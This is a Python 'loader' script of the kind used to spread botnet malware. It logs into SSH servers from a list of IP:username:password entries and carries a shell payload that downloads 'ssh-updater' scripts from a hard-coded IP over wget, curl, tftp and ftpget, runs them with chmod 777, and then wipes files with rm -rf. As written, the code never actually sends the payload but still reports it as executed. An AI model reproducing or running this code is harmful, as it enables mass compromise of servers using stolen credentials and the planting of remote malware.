Python - LRAB loader in Python

import sys
import socket
import colorama
import paramiko
import warnings
import threading

colorama.init()

paramiko.util.log_to_file("/dev/null")
warnings.simplefilter(action="ignore", category=FutureWarning)

payload = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://37.49.224.232/ssh-updater.sh; curl -O http://37.49.224.232/ssh-updater.sh; chmod 777 ssh-updater.sh; sh ssh-updater.sh; tftp 37.49.224.232 -c get ssh-updater.sh; chmod 777 ssh-updater.sh; sh ssh-updater.sh; tftp -r ssh-updater2.sh -g 37.49.224.232; chmod 777 ssh-updater2.sh; sh ssh-updater2.sh; ftpget -v -u anonymous -p anonymous -P 21 37.49.224.232 ssh-updater1.sh ssh-updater1.sh; sh ssh-updater1.sh; rm -rf ssh-updater.sh ssh-updater.sh ssh-updater2.sh ssh-updater1.sh; rm -rf *"

if len(sys.argv) < 2:
    sys.exit("Usage: " + sys.argv[0] + " <Vuln List>")

ips = open(sys.argv[1], "r").readlines()

class Loader(threading.Thread):
    def __init__(self, username, password, ip):
        threading.Thread.__init__(self)

        self.username = username
        self.password = password
        self.ip = ip

    def run(self):
        try:
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            ssh.connect(self.ip, port=22, username=self.username, password=self.password, timeout=5)

            stdin, stdout, stderr = ssh.exec_command("echo Working")
            output = stdout.read()

            if "Working" in output:
                good_server = True

            if good_server == True:
                print("\033[32m[SUCCESS] Payload executed ==> {}\033[39m".format(self.ip))

            ssh.close()
        except paramiko.AuthenticationException:
            print("\033[32m[FAILURE] Could not authenticate ==> {}:{}:{}\033[39m".format(self.username, self.password, self.ip))
        except socket.error:
            print("\033[33m[FAILURE] Couldn't establish a connection ==> {}\033[39m".format(self.ip))
        except:
            pass

for ip in ips:
    username, password, ip = ip.strip().split(":")

    loader = Loader(username, password, ip)
    loader.start()